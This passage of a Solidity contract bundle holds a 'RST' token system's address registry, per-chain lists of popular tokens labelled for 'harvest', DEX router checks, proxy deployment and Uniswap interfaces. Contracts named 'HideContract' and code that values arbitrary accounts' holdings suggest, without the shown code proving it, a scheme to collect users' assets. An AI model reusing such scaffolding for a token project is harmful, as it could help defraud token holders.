        GM,                         // 8. GM\r
\r
        BurnPool,                   // 9. BurnPool deprecated\r
\r
        FiMain, FiDev, FiA,   // 10. FiMain\r
        FiBMain, FiBDev, FiBA,// 13. FiBMain\r
\r
        RSWebMartLogic,   // 16. RSWebMartLogic\r
\r
        RSTRulesLogic, RSTDevCallerLogic,   // 17. RSTRulesLogic\r
        RSTHideContract,    // 19. RSTHideContract\r
\r
        RSWebMartContract,   // 20. RSWebMartContract\r
\r
        RSTRulesContract, RSTDevCallerContract,    // 21. RSTRulesContract\r
        RSTFactory,     // 23. RSTFactory\r
\r
        RSTCoreLogic,   // 24. RSTCoreLogic\r
\r
        RSTCoreContract,// 25. RSTCoreContract\r
\r
        Token,          // 26. Token\r
\r
        SwapPair,       // 27. SwapPair\r
\r
        Store,          // 28. Store\r
        Router,         // 29. Router\r
        Airdrop         // 30. Airdrop\r
    }\r
\r
    function _01HideContract() external view returns (address) {\r
        return getContractAddress(AT.RSTHideContract);\r
    }\r
\r
    function _02RulesContract() external view returns (address) {\r
        return getContractAddress(AT.RSTRulesContract);\r
    }\r
\r
    function _03DevCallerContract() external view returns (address) {\r
        return getContractAddress(AT.RSTDevCallerContract);\r
    }\r
\r
    function _04CoreContract() external view returns (address) {\r
        return getContractAddress(AT.RSTCoreContract);\r
    }\r
\r
    function _05WebMartContract() external view returns (address) {\r
        return getContractAddress(AT.RSWebMartContract);\r
    }\r
\r
    function _06hideContractHash() external view returns (uint160) {\r
        return uint160(getContractAddress(AT.RSTHideContract));\r
    }\r
\r
    function _07Token() external view returns (address) {\r
        return getContractAddress(AT.Token);\r
    }\r
\r
    function _08SwapPair() external view returns (address) {\r
        return getContractAddress(AT.SwapPair);\r
    }\r
\r
    function getAddress(AT addressType) internal view returns (address) {\r
        require(uint256(addressType) <= MGR_ARRAY_LENGTH, "CgAddr");\r
\r
        return _aryAddrs[uint256(addressType)];\r
    }\r
\r
    function getContractAddress(AT addressType) internal view returns (address) {\r
        unchecked {\r
            return _aryContracts[uint256(addressType) - MGR_ARRAY_LENGTH];\r
        }\r
    }\r
\r
    function externalGetHarvestTokensList() external pure returns (address[] memory) {\r
        uint256 chainID = pureGetChainID();\r
\r
        if (56 == chainID) {\r
            // BSC\r
            address[] memory tokensList = new address[](21);\r
\r
            tokensList[0] = 0x55d398326f99059fF775485246999027B3197955; // USDT with 18 Decimals\r
            tokensList[1] = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56; // BUSD with 18 Decimals\r
            tokensList[2] = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d; // USDC with 18 Decimals\r
\r
            tokensList[3] = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; // WBNB with 18 Decimals\r
\r
            tokensList[4] = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82; // Cake with 18 Decimals\r
            tokensList[5] = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8; // ETH with 18 Decimals\r
            tokensList[6] = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c; // BTCB with 18 Decimals\r
\r
            tokensList[7] = 0x111111111117dC0aa78b770fA6A738034120C302; // 1INCH with 18 Decimals\r
            tokensList[8] = 0x3203c9E46cA618C8C1cE5dC67e7e9D75f5da2377; // MBOX with 18 Decimals\r
\r
            tokensList[9] = 0x85EAC5Ac2F758618dFa09bDbe0cf174e7d574D5B; // TRX with 18 Decimals\r
\r
            tokensList[10] = 0x2859e4544C4bB03966803b044A93563Bd2D0DD4D; // SHIB with 18 Decimals\r
            tokensList[11] = 0xbA2aE424d960c26247Dd6c32edC70B295c744C43; // Doge with 8 Decimals\r
            tokensList[12] = 0x3019BF2a2eF8040C242C9a4c5c4BD4C81678b2A1; // GMT with 8 Decimals\r
            tokensList[13] = 0x4a2c860cEC6471b9F5F5a336eB4F38bb21683c98; // GST with 8 Decimals\r
            tokensList[14] = 0xe4Cc45Bb5DBDA06dB6183E8bf016569f40497Aa5; // GAL with 18 Decimals\r
\r
            tokensList[15] = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1; // BSW with 18 Decimals\r
            tokensList[16] = 0x8fF795a6F4D97E7887C79beA79aba5cc76444aDf; // BCH with 18 Decimals\r
            tokensList[17] = 0x23396cF899Ca06c4472205fC903bDB4de249D6fC; // UST with 18 Decimals\r
            tokensList[18] = 0xc748673057861a797275CD8A068AbB95A902e8de; // BabyDoge with 9 Decimals\r
\r
            tokensList[19] = 0xa2E3356610840701BDf5611a53974510Ae27E2e1; // wBETH with 18 Decimals\r
            tokensList[20] = 0x250632378E573c6Be1AC2f97Fcdf00515d0Aa91B; // BETH with 18 Decimals\r
\r
            return tokensList;\r
        } else if (1 == chainID) {\r
            // Ethereum\r
            address[] memory tokensList = new address[](17);\r
\r
            tokensList[0] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT with 6 Decimals\r
            tokensList[1] = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC with 6 Decimals\r
            tokensList[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // Dai with 18 Decimals\r
            tokensList[3] = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; // BUSD with 18 Decimals\r
\r
            tokensList[4] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH with 18 Decimals\r
\r
            tokensList[5] = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; // WBTC with 8 Decimals\r
            tokensList[6] = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // UNI with 18 Decimals\r
            tokensList[7] = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // LINK with 18 Decimals\r
            tokensList[8] = 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0; // MATIC with 18 Decimals\r
            tokensList[9] = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; // MKR with 18 Decimals\r
\r
            tokensList[10] = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9; // AAVE with 18 Decimals\r
            tokensList[11] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; // SUSHI with 18 Decimals\r
            tokensList[12] = 0x111111111117dC0aa78b770fA6A738034120C302; // 1INCH with 18 Decimals\r
            tokensList[13] = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE; // SHIB with 18 Decimals\r
            tokensList[14] = 0x853d955aCEf822Db058eb8505911ED77F175b99e; // FRAX with 18 Decimals\r
            tokensList[15] = 0xFe2e637202056d30016725477c5da089Ab0A043A; // sETH2 with 18 Decimals\r
            tokensList[16] = 0xb131f4A55907B10d1F0A50d8ab8FA09EC342cd74; // MEME with 18 Decimals\r
\r
            return tokensList;\r
        } else if (42161 == chainID) {\r
            // Arbitrum\r
            address[] memory tokensList = new address[](10);\r
\r
            tokensList[0] = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9; // USDT with 6 Decimals\r
            tokensList[1] = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8; // USDC with 6 Decimals\r
            tokensList[2] = 0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1; // DAI with 18 Decimals\r
\r
            tokensList[3] = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; // WETH with 18 Decimals\r
\r
            tokensList[4] = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f; // WBTC with 8 Decimals\r
            tokensList[5] = 0x912CE59144191C1204E64559FE8253a0e49E6548; // ARB with 18 Decimals\r
            tokensList[6] = 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a; // GMX with 18 Decimals\r
            tokensList[7] = 0x539bdE0d7Dbd336b79148AA742883198BBF60342; // MAGIC with 18 Decimals\r
            tokensList[8] = 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4; // LINK with 18 Decimals\r
\r
            tokensList[9] = 0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0; // UNI with 18 Decimals\r
\r
            return tokensList;\r
        } else if (137 == chainID) {\r
            // Polygon\r
            address[] memory tokensList = new address[](2);\r
            \r
            tokensList[0] = 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619; // WETH with 18 Decimals\r
            tokensList[1] = 0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270; // WMATIC with 18 Decimals\r
\r
            return tokensList;\r
        }\r
\r
        return new address[](0);\r
    }\r
\r
    function getRouter() internal pure returns (IUniswapV2Router02) {\r
        uint256 chainID = pureGetChainID();\r
\r
        if (56 == chainID) {\r
            // BSC PancakeRouter: 0x10ED43C718714eb63d5aA57B78B54704E256024E\r
            return IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);\r
        } else if (1 == chainID) {\r
            // Ethereum UniswapRouterV2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r
            return IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
        } else if (5 == chainID) {\r
            // Ethereum UniswapRouterV2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r
            return IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
        } else if (42161 == chainID) {\r
            // Arbitrum CamelotRouter: 0xc873fEcbd354f5A56E00E710B90EF4201db2448d\r
            return IUniswapV2Router02(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);\r
        } else if (137 == chainID) {\r
            // Polygon QuickSwapRouter: 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff\r
            return IUniswapV2Router02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);\r
        } else if (97 == chainID) {\r
            // BSC Testnet PancakeRouter: 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3\r
            return IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);\r
        }\r
\r
        // Ethereum UniswapRouterV2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r
        return IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
    }\r
\r
    function externalGetRouter() external pure returns (IUniswapV2Router02) {\r
        return getRouter();\r
    }\r
\r
    function externalIsSomeRouter(address account) external pure returns (bool) {\r
        if (account == address(getRouter())) {\r
            return true;\r
        }\r
\r
        uint256 chainID = pureGetChainID();\r
\r
        if (56 == chainID) {\r
            // BSC\r
            // 1. ApeRouter: 0xcF0feBd3f17CEf5b47b0cD257aCf6025c5BFf3b7\r
            // 2. MdexRouter: 0x7DAe51BD3E3376B8c7c4900E9107f12Be3AF1bA8\r
            // 3. BakerySwapRouter: 0x325E343f1dE602396E256B67eFd1F61C3A6B38Bd\r
            // 4. BabyRouter: 0xD48745E39BbED146eEC15b79cBF964884F9877c2\r
            // 5. WaultSwapRouter: 0xBe65b8f75B9F20f4C522e0067a3887FADa714800\r
            // 6. PantherRouter: 0x24f7C33ae5f77e2A9ECeed7EA858B4ca2fa1B7eC\r
            if (account == 0xcF0feBd3f17CEf5b47b0cD257aCf6025c5BFf3b7 ||\r
                account == 0x7DAe51BD3E3376B8c7c4900E9107f12Be3AF1bA8 ||\r
                account == 0x325E343f1dE602396E256B67eFd1F61C3A6B38Bd ||\r
                account == 0xD48745E39BbED146eEC15b79cBF964884F9877c2 ||\r
                account == 0xBe65b8f75B9F20f4C522e0067a3887FADa714800 ||\r
                account == 0x24f7C33ae5f77e2A9ECeed7EA858B4ca2fa1B7eC) {\r
                return true;\r
            }\r
        } else if (1 == chainID) {\r
            // Ethereum\r
            // 1. SushiSwap UniswapV2Router02: 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F\r
            if (account == 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F) {\r
                return true;\r
            }\r
        } else if (42161 == chainID) {\r
            // Aribitrum\r
        } else if (137 == chainID) {\r
            // Polygon\r
        }\r
\r
        return false;\r
    }\r
\r
    function WETH() internal pure returns (IWETH) {\r
        uint256 chainID = pureGetChainID();\r
\r
        if (56 == chainID) {\r
            // BSC WBNB: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c\r
            return IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\r
        } else if (1 == chainID) {\r
            // Ethereum WETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\r
            return IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r
        } else if (42161 == chainID) {\r
            // Arbitrum WETH: 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1\r
            return IWETH(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\r
        } else if (137 == chainID) {\r
            // Polygon WMATIC: 0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270\r
            return IWETH(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\r
        }\r
        \r
        // Ethereum WETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\r
        return IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r
    }\r
\r
    function externalGetWETH() external pure returns (IWETH) {\r
        return WETH();\r
    }\r
\r
    // function externalGetUSCents(address account) external view returns (uint256) {\r
    //     uint256 chainID = pureGetChainID();\r
\r
    //     if (42161 == chainID) {\r
    //         IERC20 objWETH = WETH();\r
\r
    //         // Arbitrum USDT: 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9\r
    //         // !!! Decimals: 6\r
    //         IERC20 objUSDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\r
            \r
    //         // Arbitrum WBTC: 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f\r
    //         // !!! Decimals: 8\r
    //         IERC20 objWBTC= IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\r
\r
    //         // Arbitrum USDC: 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8\r
    //         // !!! Decimals: 6\r
    //         // Arbitrum DAI: 0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1\r
    //         // !!! Decimals: 18\r
    //         uint256 result = objUSDT.balanceOf(account)\r
    //             + IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8).balanceOf(account)\r
    //             + IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1).balanceOf(account) / 1e12;\r
\r
    //         // Arbitrum ARB: 0x912CE59144191C1204E64559FE8253a0e49E6548\r
    //         // Decimals: 18\r
    //         uint256 arbAmount = IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548).balanceOf(account);\r
\r
    //         // Vyper_contract: 0x960ea3e3C7FB317332d990873d354E18d7645590\r
    //         address vyperContract = 0x960ea3e3C7FB317332d990873d354E18d7645590;\r
\r
    //         uint256 wethBalInVyper = objWETH.balanceOf(vyperContract);\r
    //         uint256 usdtBalInVyper = objUSDT.balanceOf(vyperContract);\r
            \r
    //         result += (account.balance + objWETH.balanceOf(account)) * usdtBalInVyper / wethBalInVyper;\r
    //         result += objWBTC.balanceOf(account) * usdtBalInVyper / objWBTC.balanceOf(vyperContract);\r
\r
    //         // WETH-ARB UniswapV3 pool: 0x92c63d0e701CAAe670C9415d91C474F686298f00\r
\r
    //         (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3PoolState(0x92c63d0e701CAAe670C9415d91C474F686298f00).slot0();\r
\r
    //         uint256 sqrtPriceX96_2 = uint256(sqrtPriceX96);\r
    //         uint256 arbByEth =  2 ** 192 / sqrtPriceX96_2 * arbAmount / sqrtPriceX96_2;\r
\r
    //         result += arbByEth * usdtBalInVyper / wethBalInVyper;\r
\r
    //         return result / 1e4;\r
    //     } else if (56 == chainID) {\r
    //         // bug!!\r
    //         // 1. USDT\r
    //         // 2. USDC\r
    //         // 3. BUSD\r
    //         // 4. BNB & WBNB\r
    //         // 5. TWT\r
    //         // 6. Cake\r
    //         // 7. BTCB\r
    //         IERC20 objWETH = WETH();\r
\r
    //         // BSC USDT: 0x55d398326f99059fF775485246999027B3197955\r
    //         // !!! Decimals: 18\r
    //         IERC20 objUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\r
\r
    //         // BSC USDC: 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d\r
    //         // !!! Decimals: 18\r
    //         // BSC BUSD: 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56\r
    //         // !!! Decimals: 18\r
    //         IERC20 objBUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\r
\r
    //         // 1. USDT\r
    //         uint256 result = objUSDT.balanceOf(account);\r
\r
    //         unchecked {\r
    //             // 2. USDC\r
    //             // 3. BUSD\r
    //             result +=\r
    //                 IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(account) +\r
    //                 objBUSD.balanceOf(account);\r
    //         }\r
            \r
    //         // 4. BNB & WBNB\r
    //         uint256 wethValue = 0;\r
\r
    //         unchecked {\r
    //             wethValue += account.balance + objWETH.balanceOf(account);\r
    //         }\r
            \r
    //         // 5. TWT Trust Wallet\r
    //         // BSC TWT: 0x4B0F1812e5Df2A09796481Ff14017e6005508003\r
    //         // Decimals: 18\r
    //         IERC20 objTWT = IERC20(0x4B0F1812e5Df2A09796481Ff14017e6005508003);\r
    //         uint256 twtAmount = objTWT.balanceOf(account);\r
            \r
    //         if (twtAmount > 0) {\r
    //             // TWT-WBNB pair contract: 0x3DcB1787a95D2ea0Eb7d00887704EeBF0D79bb13\r
    //             address twtPairContract = 0x3DcB1787a95D2ea0Eb7d00887704EeBF0D79bb13;\r
\r
    //             unchecked {\r
    //                 wethValue += objTWT.balanceOf(account) * objWETH.balanceOf(twtPairContract) / objTWT.balanceOf(twtPairContract);\r
    //             }\r
    //         }\r
            \r
    //         // 6. Cake\r
    //         // BSC Cake: 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82\r
    //         // Decimals: 18\r
    //         IERC20 objCake = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);\r
    //         uint256 cakeAmount = objCake.balanceOf(account);\r
            \r
    //         if (cakeAmount > 0) {\r
    //             // address cakePairContract = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;\r
\r
    //             unchecked {\r
    //                 // Cake-WBNB pair contract: 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0\r
    //                 wethValue += objCake.balanceOf(account) * objWETH.balanceOf(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0) / objCake.balanceOf(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\r
    //             }\r
    //         }\r
\r
    //         if (wethValue > 0) {\r
    //             // BUSD-WBNB pair contract: 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16\r
    //             address busdPairContract = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;\r
                \r
    //             unchecked {\r
    //                 result += wethValue * objBUSD.balanceOf(busdPairContract) / objWETH.balanceOf(busdPairContract);\r
    //             }\r
    //         }\r
            \r
    //         // !!! Decimals: 18\r
    //         // IERC20 objBTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\r
            \r
    //         // address usdtBtcbPairContract = 0xa987f0b7098585c735cD943ee07544a84e923d1D;\r
\r
    //         // USDT-BTCB pair contract: 0xa987f0b7098585c735cD943ee07544a84e923d1D\r
\r
    //         unchecked {\r
    //             // BSC BTCB: 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c\r
    //             result += IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(account) * objUSDT.balanceOf(0xa987f0b7098585c735cD943ee07544a84e923d1D) / IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(0xa987f0b7098585c735cD943ee07544a84e923d1D);\r
    //         }\r
\r
    //         return result / 1e16;\r
    //     }\r
\r
    //     return 0;\r
    // }\r
\r
    // Gas Usage: 6110 (call lib func from outside)\r
    // Gas Usage: 2797 (call in class)\r
    function externalIsPair(address contractAddress) external returns (bool) {\r
        bool success;\r
        bytes memory data = abi.encodeWithSelector(bytes4(keccak256("token0()")));\r
\r
        assembly {\r
            success := call(\r
                5000,            // gas remaining\r
                contractAddress, // destination address\r
                0,              // no ether\r
                add(data, 32),  // input buffer (starts after the first 32 bytes in the `data` array)\r
                mload(data),    // input length (loaded from the first 32 bytes in the `data` array)\r
                0,              // output buffer\r
                0               // output length\r
            )\r
        }\r
\r
        return success;\r
    }\r
\r
    // func: function name & params\r
    // "token0()"\r
    function externalHasViewFunc(address contractAddress, string memory func) external returns (bool) {\r
        bool success;\r
        bytes memory data = abi.encodeWithSelector(bytes4(keccak256(bytes(func))));\r
\r
        assembly {\r
            success := call(\r
                5000,            // gas remaining\r
                contractAddress, // destination address\r
                0,              // no ether\r
                add(data, 32),  // input buffer (starts after the first 32 bytes in the `data` array)\r
                mload(data),    // input length (loaded from the first 32 bytes in the `data` array)\r
                0,              // output buffer\r
                0               // output length\r
            )\r
        }\r
\r
        return success;\r
    }\r
    \r
    // function externalIsContract(address account) external view returns (bool) {\r
    //     return account.code.length > 0;\r
    // }\r
     \r
    function deploy(address logic, address admin) internal returns (address deployedAddress) {\r
        bytes memory bytecode = type(AAAdminUpgradeabilityProxy).creationCode;\r
        bytes memory code = abi.encodePacked(bytecode, abi.encode(logic, admin));\r
\r
        assembly {\r
            deployedAddress := create(0, add(code, 0x20), mload(code))\r
        }\r
    }\r
\r
    function deployAddressType(AT addressType_, address admin_) internal returns (address deployedAddress) {\r
        address logicAddress = getContractAddress(addressType_);\r
\r
        if (logicAddress == address(0)) {\r
            return address(0);\r
        }\r
\r
        bytes memory bytecode = type(AAAdminUpgradeabilityProxy).creationCode;\r
        bytes memory code = abi.encodePacked(bytecode, abi.encode(logicAddress, admin_));\r
\r
        assembly {\r
            deployedAddress := create(0, add(code, 0x20), mload(code))\r
        }\r
    }\r
    \r
    function externalGetAddress(AT addressType) external view returns (address) {\r
        if (uint256(addressType) < MGR_ARRAY_LENGTH) {\r
            return getAddress(addressType);\r
        } else {\r
            unchecked {\r
                require(uint256(addressType) - MGR_ARRAY_LENGTH < CONTRACT_ARRAY_LENGTH, "tam");\r
            }\r
            \r
            return getContractAddress(addressType);\r
        }\r
    }\r
    \r
    function externalGetMgrAddrs() external view returns (address[] memory) {\r
        address[] memory addrs = new address[](MGR_ARRAY_LENGTH);\r
\r
        unchecked {\r
            for (uint256 index = 0; index < MGR_ARRAY_LENGTH; index++) {\r
                addrs[index] = _aryAddrs[index];\r
            }\r
        }\r
\r
        return addrs;\r
    }\r
    \r
    function externalGetContractAddrs() external view returns (address[] memory) {\r
        address[] memory addrs = new address[](CONTRACT_ARRAY_LENGTH);\r
\r
        unchecked {\r
            for (uint256 index = 0; index < CONTRACT_ARRAY_LENGTH; index++) {\r
                addrs[index] = _aryContracts[index];\r
            }\r
        }\r
\r
        return addrs;\r
    }\r
}\r
\r
"
    },
    "s02/Contract/RSCommon/RSBit.sol": {
      "content": "// SPDX-License-Identifier: MIT

import "./Interfaces.sol";
import "./AAAdminUpgradeabilityProxy.sol";


// File: @openzeppelin/contracts/utils/Address.sol

pragma solidity ^0.8.0;

library RSBit {
    function bitGet(uint256 initValue, uint256 indexStart, uint256 bitLength) internal pure returns (uint256) {
        unchecked {
            uint256 template = (2 ** bitLength - 1) << indexStart;

            initValue &= template;
            initValue >>= indexStart;
        }

        return initValue;
    }

    function uint16bitGet(uint256 initValue, uint256 indexStart) internal pure returns (uint256) {
        uint16 result = uint16(initValue >> indexStart);

        return uint256(result);
    }

    function uint8bitGet(uint256 initValue, uint256 indexStart) internal pure returns (uint256) {
        uint8 result = uint8(initValue >> indexStart);

        return uint256(result);
    }

    function bitOperationSet(uint256 initValue, uint256 indexStart, uint256 bitLength, uint256 value) internal pure returns (uint256) {
        uint256 temp = 2 ** bitLength;

        require(value < temp);

        unchecked {
            uint256 template = (temp - 1) << indexStart;

            // set to 0
            initValue &= type(uint256).max ^ template;

            // set to value
            initValue += value << indexStart;
        }

        return initValue;
    }
}"
    },
    "s02/Contract/RSCommon/RSInitializable.sol": {
      "content": "// SPDX-License-Identifier: MIT

import "./libs.sol";
import "./AAAdminUpgradeabilityProxy.sol";

pragma solidity ^0.8.0;


/**
 * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
 * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
 * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
 * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
 *
 * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be
 * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in
 * case an upgrade adds a module that needs to be initialized.
 *
 * For example:
 *
 * [.hljs-theme-light.nopadding]
 * ```solidity
 * contract MyToken is ERC20Upgradeable {
 *     function initialize() initializer public {
 *         __ERC20_init("MyToken", "MTK");
 *     }
 * }
 *
 * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {
 *     function initializeV2() reinitializer(2) public {
 *         __ERC20Permit_init("MyToken");
 *     }
 * }
 * ```
 *
 * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
 * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
 *
 * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
 * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
 *
 * [CAUTION]
 * ====
 * Avoid leaving a contract uninitialized.
 *
 * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
 * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke
 * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:
 *
 * [.hljs-theme-light.nopadding]
 * ```
 * /// @custom:oz-upgrades-unsafe-allow constructor
 * constructor() {
 *     _disableInitializers();
 * }
 * ```
 * ====
 */
abstract contract RSInitializable {
    /**
     * @dev Indicates that the contract has been initialized.
     * @custom:oz-retyped-from bool
     */
    bool public _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev The contract is already initialized.
     */
    error AlreadyInitialized();

    /**
     * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,
     * `onlyInitializing` functions can be used to initialize parent contracts.
     *
     * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a
     * constructor.
     *
     * Emits an {Initialized} event.
     */
    modifier initializer() {
        bool isTopLevelCall = !_initializing;
        if (!(isTopLevelCall && !_initialized) && !(address(this).code.length == 0 && _initialized)) {
            revert AlreadyInitialized();
        }
        _initialized = true;
        if (isTopLevelCall) {
            _initializing = true;
        }
        _;
        if (isTopLevelCall) {
            _initializing = false;
        }
    }

    modifier onlyInitializing() {
        require(_initializing, "I1");
        _;
    }

    function intll() public virtual initializer {
    }
}


"
    },
    "s02/Contract/RSCommon/Interfaces.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
\r
interface IUniswapV2Router01 {\r
    function factory() external pure returns (address);\r
    function WETH() external pure returns (address);\r
\r
    function addLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint amountADesired,\r
        uint amountBDesired,\r
        uint amountAMin,\r
        uint amountBMin,\r
        address to,\r
        uint deadline\r
    ) external returns (uint amountA, uint amountB, uint liquidity);\r
    function addLiquidityETH(\r
        address token,\r
        uint amountTokenDesired,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline\r
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\r
    function removeLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint liquidity,\r
        uint amountAMin,\r
        uint amountBMin,\r
        address to,\r
        uint deadline\r
    ) external returns (uint amountA, uint amountB);\r
    function removeLiquidityETH(\r
        address token,\r
        uint liquidity,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline\r
    ) external returns (uint amountToken, uint amountETH);\r
    function removeLiquidityWithPermit(\r
        address tokenA,\r
        address tokenB,\r
        uint liquidity,\r
        uint amountAMin,\r
        uint amountBMin,\r
        address to,\r
        uint deadline,\r
        bool approveMax, uint8 v, bytes32 r, bytes32 s\r
    ) external returns (uint amountA, uint amountB);\r
    function removeLiquidityETHWithPermit(\r
        address token,\r
        uint liquidity,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline,\r
        bool approveMax, uint8 v, bytes32 r, bytes32 s\r
    ) external returns (uint amountToken, uint amountETH);\r
    function swapExactTokensForTokens(\r
        uint amountIn,\r
        uint amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint deadline\r
    ) external returns (uint[] memory amounts);\r
    function swapTokensForExactTokens(\r
        uint amountOut,\r
        uint amountInMax,\r
        address[] calldata path,\r
        address to,\r
        uint deadline\r
    ) external returns (uint[] memory amounts);\r
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\r
        external\r
        payable\r
        returns (uint[] memory amounts);\r
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\r
        external\r
        returns (uint[] memory amounts);\r
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\r
        external\r
        returns (uint[] memory amounts);\r
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\r
        external\r
        payable\r
        returns (uint[] memory amounts);\r
\r
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\r
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\r
